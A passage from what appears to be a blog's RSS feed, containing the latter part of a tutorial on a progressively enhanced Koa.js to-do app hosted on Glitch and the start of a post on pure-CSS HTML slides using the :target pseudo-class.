&lt;img srcset=&quot;/images/posts/progressive-enhancement/glitch-480.jpg 480w, /images/posts/progressive-enhancement/glitch-640.jpg 640w, /images/posts/progressive-enhancement/glitch-960.jpg 960w, /images/posts/progressive-enhancement/glitch-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/progressive-enhancement/glitch-640.jpg&quot; alt=&quot;Starting a new Node project on Glitch&quot;&gt;
&lt;p&gt;If you&apos;d like to make sure your project persists, it&apos;s a good idea to sign up for a Glitch account. Glitch has been making feature improvements fairly frequently, so this may change if you&apos;re reading far into the future, but as of time of writing, they support sign in via Facebook, GitHub, Email or sign-in code.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/progressive-enhancement/glitch2-480.jpg 480w, /images/posts/progressive-enhancement/glitch2-640.jpg 640w, /images/posts/progressive-enhancement/glitch2-960.jpg 960w, /images/posts/progressive-enhancement/glitch2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/progressive-enhancement/glitch2-640.jpg&quot; alt=&quot;Sign in to a Glitch account&quot;&gt;
&lt;p&gt;By default, Node applications on Glitch run on Express, which is totally fine. I chose to use Koa.js for my project, so there are a couple more steps to go through for that.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/progressive-enhancement/glitch3-480.jpg 480w, /images/posts/progressive-enhancement/glitch3-640.jpg 640w, /images/posts/progressive-enhancement/glitch3-960.jpg 960w, /images/posts/progressive-enhancement/glitch3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/progressive-enhancement/glitch3-640.jpg&quot; alt=&quot;Default package.json on a fresh Glitch Node project&quot;&gt;
&lt;p&gt;If you click on Tools at the bottom left of the screen, you will bring up some options, like Logs, Console, Container Stats and so on.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/progressive-enhancement/glitch4-480.jpg 480w, /images/posts/progressive-enhancement/glitch4-640.jpg 640w, /images/posts/progressive-enhancement/glitch4-960.jpg 960w, /images/posts/progressive-enhancement/glitch4-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/progressive-enhancement/glitch4-640.jpg&quot; alt=&quot;Tools options on Glitch&quot;&gt;
&lt;p&gt;Logs is great to have open when developing your application because everything you &lt;code&gt;console.log()&lt;/code&gt; shows up here.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/progressive-enhancement/glitch5-480.jpg 480w, /images/posts/progressive-enhancement/glitch5-640.jpg 640w, /images/posts/progressive-enhancement/glitch5-960.jpg 960w, /images/posts/progressive-enhancement/glitch5-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/progressive-enhancement/glitch5-640.jpg&quot; alt=&quot;Viewing logs on Glitch&quot;&gt;
&lt;p&gt;To customise the npm modules you want to use in your project, you can access the command line as you would your local machine or remote server. One thing to note is that instead of &lt;code&gt;npm&lt;/code&gt;, Glitch uses &lt;code&gt;pnpm&lt;/code&gt; as the package manager.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/progressive-enhancement/glitch6-480.jpg 480w, /images/posts/progressive-enhancement/glitch6-640.jpg 640w, /images/posts/progressive-enhancement/glitch6-960.jpg 960w, /images/posts/progressive-enhancement/glitch6-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/progressive-enhancement/glitch6-640.jpg&quot; alt=&quot;Accessing the Glitch console&quot;&gt;
&lt;p&gt;Remove express by running the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pnpm uninstall express
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, install Koa.js by running the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pnpm install koa --save
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To verify the npm modules being used in your project, you&apos;ll have to refresh the environment:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;refresh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once you&apos;ve done that, you should see an “Error” indicator next to Tools. That&apos;s fine because in the &lt;code&gt;server.js&lt;/code&gt; file, you are requiring the Express framework which is no longer there.&lt;/p&gt;
&lt;p id=&quot;skip-glitch&quot;&gt;The next thing to do is to rewrite basic server code to use Koa.js. You can do that yourself or paste the following code into your newly created file.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const Koa = require(&amp;quot;koa&amp;quot;);
const port = process.env.PORT || 3000;
const app = new Koa();

app.use(async (ctx) =&amp;gt; {
  ctx.body = &amp;quot;Hello Dinosaur 🦖&amp;quot;;
});

const listener = app.listen(port, function () {
  console.log(&amp;quot;Your app is listening on port &amp;quot; + listener.address().port);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If all went well, clicking on the Show button on the top nav bar should trigger your application in a new window with the text, “Hello Dinosaur 🦖”.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/progressive-enhancement/glitch7-480.jpg 480w, /images/posts/progressive-enhancement/glitch7-640.jpg 640w, /images/posts/progressive-enhancement/glitch7-960.jpg 960w, /images/posts/progressive-enhancement/glitch7-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/progressive-enhancement/glitch7-640.jpg&quot; alt=&quot;Check that Koa.js is running fine&quot;&gt;
&lt;h2&gt;Libraries used&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://koajs.com/&quot;&gt;Koa.js&lt;/a&gt; (and relevant middleware)&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://mozilla.github.io/nunjucks/&quot;&gt;Nunjucks&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://github.com/typicode/lowdb&quot;&gt;lowdb&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/typicode/lodash-id&quot;&gt;lodash-id&lt;/a&gt; (for generating database ids)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://koajs.com/&quot;&gt;Koa.js&lt;/a&gt; is the framework behind the application, for serving, routing, handling of API requests and responses etc. As the core Koa.js framework is rather barebones, various middlewares have to be added where needed. For this project I added the following:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;code&gt;koa-static&lt;/code&gt; for serving static assets&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;code&gt;koa-bodyparser&lt;/code&gt; for handling data sent over via POST requests&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;code&gt;koa-router&lt;/code&gt; for routing&lt;/li&gt;
  &lt;li&gt;&lt;code&gt;koa-views&lt;/code&gt; for rendering nunjucks templates (also requires nunjucks to be installed)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://mozilla.github.io/nunjucks/&quot;&gt;Nunjucks&lt;/a&gt; is the templating engine for rendering data on the frontend, while &lt;a href=&quot;https://github.com/typicode/lowdb&quot;&gt;lowdb&lt;/a&gt; is a very simple JSON database, great for prototypes like this application. All the database related functions can be easily swapped out for another more “serious” database.&lt;/p&gt;
&lt;h2&gt;Serving static assets&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const serve = require(&amp;quot;koa-static&amp;quot;);
app.use(serve(&amp;quot;./public&amp;quot;));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is probably going to be the least complicated bit to cover, the serving of static assets like CSS and client-side JavaScript from the &lt;em&gt;/public&lt;/em&gt; folder.&lt;/p&gt;
&lt;h2&gt;Basic routing and rendering&lt;/h2&gt;
&lt;p&gt;HTML files can be rendered with &lt;code&gt;koa-views&lt;/code&gt;, which provides a &lt;code&gt;render()&lt;/code&gt; function. I also configured the application to map &lt;code&gt;.html&lt;/code&gt; files to use Nunjucks templating engine. The database-related functions will be covered in the next section.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const Router = require(&amp;quot;koa-router&amp;quot;);
const views = require(&amp;quot;koa-views&amp;quot;);
const router = new Router();

app.use(views(&amp;quot;./views&amp;quot;, { map: { html: &amp;quot;nunjucks&amp;quot; } }));

router.get(&amp;quot;/&amp;quot;, (ctx, next) =&amp;gt; {
  // Function to get items from database
  const items = dbGetItems();
  return ctx.render(&amp;quot;./index&amp;quot;, { items: items });
});

router.get(&amp;quot;/clear&amp;quot;, (ctx, next) =&amp;gt; {
  dbClear();
  ctx.response.redirect(&amp;quot;/&amp;quot;);
});

app.use(router.routes()).use(router.allowedMethods());
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For things to work without client-side JavaScript, I used HTML forms to collect user input. This meant some &lt;code&gt;POST&lt;/code&gt; routes had to be set up as well. To update the page after a form submission, I included a &lt;code&gt;ctx.response.redirect()&lt;/code&gt; to refresh the page and render the updated contents.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;/* This should appear before any routes */
app.use(bodyParser());

router.post(&amp;quot;/add&amp;quot;, (ctx, next) =&amp;gt; {
  const payload = ctx.request.body;
  // Function to add task to database
  dbAddTask(payload);
  ctx.status = 200;
  ctx.response.redirect(&amp;quot;/&amp;quot;);
});

router.post(&amp;quot;/update/:id&amp;quot;, async (ctx, next) =&amp;gt; {
  const id = ctx.params.id;
  dbUpdateTask(id);
  ctx.status = 200;
  ctx.response.redirect(&amp;quot;/&amp;quot;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;koa-router&lt;/code&gt; also provides a way to access URL parameters via &lt;code&gt;ctx.params&lt;/code&gt;, and I make use of this to find the corresponding database entry for updating.&lt;/p&gt;
&lt;h2&gt;Interacting with the database&lt;/h2&gt;
&lt;p&gt;For this to-do list, the tasks will be stored in a database to be retrieved for rendering on the frontend, and updated accordingly as tasks are completed. I&apos;m using lowdb here, but the code can be swapped out for any database of your choice.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const low = require(&amp;quot;lowdb&amp;quot;);
const FileSync = require(&amp;quot;lowdb/adapters/FileSync&amp;quot;);
const lodashId = require(&amp;quot;lodash-id&amp;quot;);

const adapter = new FileSync(&amp;quot;.data/db.json&amp;quot;);
const db = low(adapter);

/* Initial database setup */
db._.mixin(lodashId);
db.defaults({ items: [] }).write();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My to-do list had only 4 database operations, a function for &lt;strong&gt;adding a new task&lt;/strong&gt;, a function for &lt;strong&gt;retrieving all tasks&lt;/strong&gt;, a function for &lt;strong&gt;updating a task&lt;/strong&gt; and a function for &lt;strong&gt;clearing the entire database&lt;/strong&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;function dbAddTask(data) {
  return db.get(&amp;quot;items&amp;quot;).insert({ task: data.task }).write();
  console.log(&amp;quot;New user inserted in the database&amp;quot;);
}

function dbGetItems() {
  return db.get(&amp;quot;items&amp;quot;).value();
}

function dbUpdateTask(id) {
  db.get(&amp;quot;items&amp;quot;).find({ id: id }).assign({ status: &amp;quot;Done&amp;quot; }).write();
}

function dbClear() {
  db.get(&amp;quot;items&amp;quot;).remove().write();
  console.log(&amp;quot;Database cleared&amp;quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At this point, the application is pretty much working. You can add a new task by submitting a form that posts to the &lt;code&gt;/add&lt;/code&gt; endpoint, update a task status by posting to the &lt;code&gt;/update/:id&lt;/code&gt; endpoint and the page will refresh to load the updated content.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Every form submission will refresh the page&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/pe-nojs.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/pe-nojs.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;h2&gt;Adding the client-side JavaScript&lt;/h2&gt;
&lt;p&gt;If you don&apos;t want a refresh every time a task is added or updated, then some Ajax will be required. I&apos;m using Fetch for this, but you can use something else if you want.&lt;/p&gt;
&lt;p&gt;For example, when adding a new task, I hijack the normal form submission and use Fetch to send a POST request with a JSON payload to the &lt;em&gt;/add&lt;/em&gt; route instead.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const addItemForm = document.getElementById(&amp;quot;addItemForm&amp;quot;);
const addFormHandler = (event) =&amp;gt; {
  event.preventDefault();
  const data = formToJson(addItemForm.elements);
  addItem(data);
  addItemForm.querySelector(&apos;input[name=&amp;quot;task&amp;quot;]&apos;).value = &amp;quot;&amp;quot;;
};
addItemForm.addEventListener(&amp;quot;submit&amp;quot;, addFormHandler, false);

const addItem = (data) =&amp;gt; {
  fetch(&amp;quot;/add&amp;quot;, {
    method: &amp;quot;post&amp;quot;,
    headers: {
      &amp;quot;Content-Type&amp;quot;: &amp;quot;application/json&amp;quot;,
    },
    body: JSON.stringify(data),
  })
    .then(function (res) {
      return res.json();
    })
    .then(function (data) {
      renderItemTable(data);
    })
    .catch(function (error) {
      console.log(error);
    });
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here I&apos;m using an utility function, &lt;code&gt;formToJson()&lt;/code&gt; to grab the form values and format them into a JSON object. I&apos;m also parsing the response data into a table with the &lt;code&gt;renderItemTable(data)&lt;/code&gt; function.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const renderItemTable = (data) =&amp;gt; {
  const tableContent = document.getElementById(&amp;quot;itemList&amp;quot;);
  if (tableContent.children.length === 1) {
    tableContent.innerHTML = itemTableMarkup;
    const itemRows = document.getElementById(&amp;quot;itemRows&amp;quot;);
    const newRow = document.createRange().createContextualFragment(renderItemRow(data));
    itemRows.appendChild(newRow);
  } else {
    const itemRows = document.getElementById(&amp;quot;itemRows&amp;quot;);
    const newRow = document.createRange().createContextualFragment(renderItemRow(data));
    itemRows.appendChild(newRow);
  }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If there are no tasks in the database, the table headers have to be generated in addition to the new task. For subsequent tasks, they can be appended to the table accordingly. Template literals makes the markup generation much easier.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const itemTableMarkup = `
  &amp;lt;div class=&amp;quot;table&amp;quot;&amp;gt;
    &amp;lt;div class=&amp;quot;thead&amp;quot;&amp;gt;
      &amp;lt;div class=&amp;quot;tr&amp;quot;&amp;gt;
        &amp;lt;div&amp;gt;#&amp;lt;/div&amp;gt;
        &amp;lt;div&amp;gt;Task&amp;lt;/div&amp;gt;
        &amp;lt;div&amp;gt;Status&amp;lt;/div&amp;gt;
      &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;div class=&amp;quot;tbody&amp;quot; id=&amp;quot;itemRows&amp;quot;&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/div&amp;gt;
  &amp;lt;a class=&amp;quot;btn&amp;quot; href=&amp;quot;clear&amp;quot;&amp;gt;Clear database&amp;lt;/a&amp;gt;
`;

const renderItemRow = (data) =&amp;gt; {
  const item = data.item;
  const index = data.count;
  return `
    &amp;lt;form class=&amp;quot;tr jsItem&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;update/${item.id}&amp;quot; data-id=${item.id}&amp;gt;
      &amp;lt;div&amp;gt;${index}&amp;lt;/div&amp;gt;
      &amp;lt;div&amp;gt;${item.task}&amp;lt;/div&amp;gt;
      &amp;lt;div class=&amp;quot;status-cell&amp;quot;&amp;gt;
       ${((status) =&amp;gt; {
         if (status) return &amp;quot;Done&amp;quot;;
         else return `&amp;lt;button class=&amp;quot;jsItemDone&amp;quot;&amp;gt;Mark done&amp;lt;/button&amp;gt;`;
       })(item.status)}
      &amp;lt;/div&amp;gt;
  &amp;lt;/form&amp;gt;
  `;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On the server-side of things, the response is slightly different depending on whether AJAX is used or not.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;router.post(&amp;quot;/add&amp;quot;, (ctx, next) =&amp;gt; {
  const payload = ctx.request.body;
  const contentType = ctx.request.header[&amp;quot;content-type&amp;quot;];
  const nonAjax = contentType.includes(&amp;quot;www-form&amp;quot;);
  const newItem = dbAddTask(payload);
  ctx.status = 200;

  if (nonAjax) {
    ctx.response.redirect(&amp;quot;/&amp;quot;);
  } else {
    const itemCount = dbItemCount();
    const resData = JSON.stringify({
      item: newItem,
      count: itemCount,
    });
    ctx.body = resData;
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&apos;m using the Content-Type header as the identifier to differentiate whether the request was made via AJAX or not. Not sure if this is the proper way of doing things, but it sort of works? A default form submission would have the &lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt; header, so…&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;No reload, just parsing the response data&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/pe-js.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/pe-js.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;This was a tiny project, but because of how small its scope was, it made it easier for me to dig into what was absolutely neccessary, then figuring out which libraries I needed to help me get the job done. (You don&apos;t see it but it took me a long time to figure out &lt;code&gt;koa-views&lt;/code&gt; plus &lt;code&gt;koa-router&lt;/code&gt; plus &lt;code&gt;koa-static&lt;/code&gt; working together)&lt;/p&gt;
&lt;p&gt;I found that HTML out-of-the-box takes care of a lot of things when it comes to collecting user inputs from the front-end, which resulted in much less code required. This is not to say client-side JavaScript is bad, because the experience was smoother (and faster) when I used it for updating content.&lt;/p&gt;
&lt;p&gt;The entire project is up on &lt;a href=&quot;https://glitch.com/~no-js-no-problem&quot;&gt;Glitch&lt;/a&gt; if you&apos;re interested in the full code I used to make the application work. Feel free to poke around, remix it and make it better.&lt;/p&gt;
&lt;a href=&quot;https://glitch.com/edit/#!/remix/no-js-no-problem&quot;&gt;
  &lt;img src=&quot;https://cdn.glitch.com/2bdfb3f8-05ef-4035-a06e-2043962a3a13%2Fremix%402x.png?1513093958726&quot; alt=&quot;remix button&quot; aria-label=&quot;remix&quot; height=&quot;33&quot;&gt;
&lt;/a&gt;
&lt;p&gt;P.S. I am a Glitch fangirl. I&apos;m not ashamed. Give it a try, you might love it too. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;upside-down face&quot;&gt;🙃&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>HTML slides without frameworks, just CSS</title><link>https://chenhuijing.com/blog/html-slides-without-frameworks/</link><guid isPermaLink="true">https://chenhuijing.com/blog/html-slides-without-frameworks/</guid><description>I am a huge fan of reveal.js and have used it for almost every talk I&apos;ve ever given. It is a full-featured presentation framework with loads of nifty features,…</description><pubDate>Sat, 09 Feb 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I am a huge fan of &lt;a href=&quot;https://revealjs.com/&quot;&gt;reveal.js&lt;/a&gt; and have used it for almost every talk I&apos;ve ever given. It is a full-featured presentation framework with loads of nifty features, like speaker notes, full-screen mode, code syntax highlighting etc.&lt;/p&gt;
&lt;p&gt;But sometimes, I just need to toss up a handful of information on a screen at a local meetup or office presentation. And as a result of being a web developer, I&apos;m way more comfortable controlling and adjusting my layouts with CSS than with a pointy-clicky interface.&lt;/p&gt;
&lt;p&gt;I came across an implementation by &lt;a href=&quot;http://ondras.zarovi.cz/&quot;&gt;Ondřej Žára&lt;/a&gt; for &lt;a href=&quot;http://ondras.zarovi.cz/demos/nojs/#&quot;&gt;pure CSS slides&lt;/a&gt; and dug into his codebase to see what I could use for my own watered-down HTML slides. For a pure CSS implementation, it&apos;s pretty full-featured, and you should check it out regardless.&lt;/p&gt;
&lt;h2&gt;The&lt;code&gt; :target&lt;/code&gt; pseudo-class&lt;/h2&gt;
&lt;p&gt;What I wanted was a good way to transition from slide to slide, and I noticed Ondřej&apos;s use of the &lt;code&gt;:target&lt;/code&gt; pseudo-class. It is a selector that matches an element with an id matching the current URL&apos;s fragment, which is denoted by the &lt;code&gt;#&lt;/code&gt; sign.&lt;/p&gt;
&lt;p&gt;For example, if your site has an element with the id of &lt;code&gt;dinosaur&lt;/code&gt;, you can navigate to that element from the address bar using the URL, &lt;code&gt;https://www.example.com/index.html#dinosaur&lt;/code&gt;. And if that is the current URL, the following CSS rule will apply to the &lt;code&gt;#dinosaur&lt;/code&gt; element:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;#dinosaur:target {
  background-color: green;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;figure&gt;
  &lt;figcaption&gt;End result should look like this&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/hs-target.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/hs-target.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;And with that, we can let the shenanigans commence.&lt;/p&gt;
&lt;h2&gt;Markup structure&lt;/h2&gt;
&lt;p&gt;The HTML structure can be fairly simple.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;main&amp;gt;
  &amp;lt;section id=&amp;quot;slide1&amp;quot;&amp;gt;&amp;lt;/section&amp;gt;
  &amp;lt;section id=&amp;quot;slide2&amp;quot;&amp;gt;&amp;lt;/section&amp;gt;
  &amp;lt;section id=&amp;quot;slide3&amp;quot;&amp;gt;&amp;lt;/section&amp;gt;
  &amp;lt;section id=&amp;quot;slide4&amp;quot;&amp;gt;&amp;lt;/section&amp;gt;
  &amp;lt;section id=&amp;quot;slide5&amp;quot;&amp;gt;&amp;lt;/section&amp;gt;
&amp;lt;/main&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each slide can be a section which takes up the full height of the viewport. And we can achieve that with relative ease using viewport units. Viewport units are as their name suggests, CSS units that are relative to the size of the viewport.&lt;/p&gt;
&lt;p&gt;We have &lt;code&gt;vw&lt;/code&gt;, &lt;code&gt;vh&lt;/code&gt;, &lt;code&gt;vmax&lt;/code&gt; and &lt;code&gt;vmin&lt;/code&gt;. For the purpose of making a HTML slidedeck, the relavant unit here is &lt;code&gt;vh&lt;/code&gt; or viewport height. By setting a height of &lt;code&gt;100vh&lt;/code&gt; to each section, they will always be the height of the viewport, no matter how you resize the browser.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Full height all day every day&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/hs-vh.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/hs-vh.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;Each slide has a unique id that can be targeted, which will be the mechanism for slide controls.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Browsing through slides like a boss&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/hs-controls.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/hs-controls.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;So where&apos;s the &lt;code&gt;:target&lt;/code&gt; pseudo-class in all this? Hang on, we&apos;re coming to that. What we did earlier was make the browser jump to the top of each section, you can still scroll up and down, making your presentation behave like a web page instead of a slide deck.&lt;/p&gt;
&lt;p&gt;If that&apos;s what you want it to do, great. You&apos;re done for the day, to be honest. But let&apos;s say we don&apos;t want that scroll bar activated. We want the active slide in the viewport and that&apos;s it. Then that&apos;s when the &lt;code&gt;:target&lt;/code&gt; pseudo-class comes into play.&lt;/p&gt;
&lt;h2&gt;Stacking your slides&lt;/h2&gt;
&lt;p&gt;But before getting into that, let&apos;s visualise how the slide deck will behave.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Each slide is the same size and positioned on top of each other&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/html-slides/stack.svg&quot; style=&quot;max-height:20em&quot; alt=&quot;Stacking the sections&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;We will style the sections such that only one slide is visible at any one time by stacking them over each other, then utilise the URL fragments to indicate which slide should be active.&lt;/p&gt;
&lt;p&gt;So. Stacking along the z-index eh? We now have more than 1 option for achieving something like that. Let&apos;s cover the tried-and-tested technique of position and z-index. The &lt;code&gt;z-index&lt;/code&gt; property only applies to positioned boxes, which are boxes that have a &lt;code&gt;position&lt;/code&gt; value of anything other than the default value of &lt;code&gt;static&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;There are now 4 other values for &lt;code&gt;position&lt;/code&gt;, namely &lt;code&gt;relative&lt;/code&gt;, &lt;code&gt;absolute&lt;/code&gt;, &lt;code&gt;fixed&lt;/code&gt; and &lt;code&gt;sticky&lt;/code&gt;, &lt;code&gt;sticky&lt;/code&gt; being a new addition. &lt;a href=&quot;https://twitter.com/eladsc&quot;&gt;Elad Shechter&lt;/a&gt; wrote an &lt;a href=&quot;https://medium.com/@elad/css-position-sticky-how-it-really-works-54cd01dc2d46&quot;&gt;excellent in-depth write-up&lt;/a&gt; of how it works, so do give it a read.&lt;/p&gt;
&lt;p&gt;According to the &lt;a href=&quot;https://www.w3.org/TR/CSS2/visuren.html#layers&quot;&gt;specification&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The root element forms the root stacking context. Other stacking contexts are generated by any positioned element (including relatively positioned elements) having a computed value of &apos;z-index&apos; other than &apos;auto&apos;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So once you apply a position property to a box, you can use the &lt;code&gt;z-index&lt;/code&gt; property to adjust its stack level. Setting &lt;code&gt;position: absolute&lt;/code&gt; on a box removes it from normal flow and causes it to be explicitly offset with respect to its containing block.&lt;/p&gt;
&lt;p&gt;Contents of an absolutely positioned element don&apos;t flow around other boxes, if they have a higher stack level, they&apos;re just going to cover whatever is below them.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Stack &apos;em up&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/hs-stack.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/hs-stack.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;To stack them all up, apply a &lt;code&gt;position: absolute&lt;/code&gt; and &lt;code&gt;width: 100%&lt;/code&gt; on each slide section. Some of you might be thinking, what&apos;s the difference between having a &lt;code&gt;width: 100%&lt;/code&gt; on an absolutely positioned element versus setting all the offset values to &lt;code&gt;0&lt;/code&gt;? (e.g. &lt;code&gt;top: 0; right: 0; bottom: 0; left: 0&lt;/code&gt;) Good thing someone else had the exact same question.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://keithjgrant.com/&quot;&gt;Keith J. Grant&lt;/a&gt; wrote an analysis of the difference between these 2 approaches and found that if you use &lt;code&gt;width: 100%&lt;/code&gt; with additional margins around the element, it will get shifted out of its positioned ancestor.&lt;/p&gt;
&lt;p&gt;But since I want my slides to fill up the viewport, I&apos;m not using margins at all, so I&apos;d rather do a single line than 4. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The next thing is to adjust the z-index for the active slide to be higher than all the other inactive slides with our trusty &lt;code&gt;:target&lt;/code&gt; selector.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;section {
  height: 100vh;
  width: 100%;
  position: absolute;
  z-index: 0;
}

section:target {
  z-index: 1;
}
&lt;/code&gt;&lt;/pre&gt;
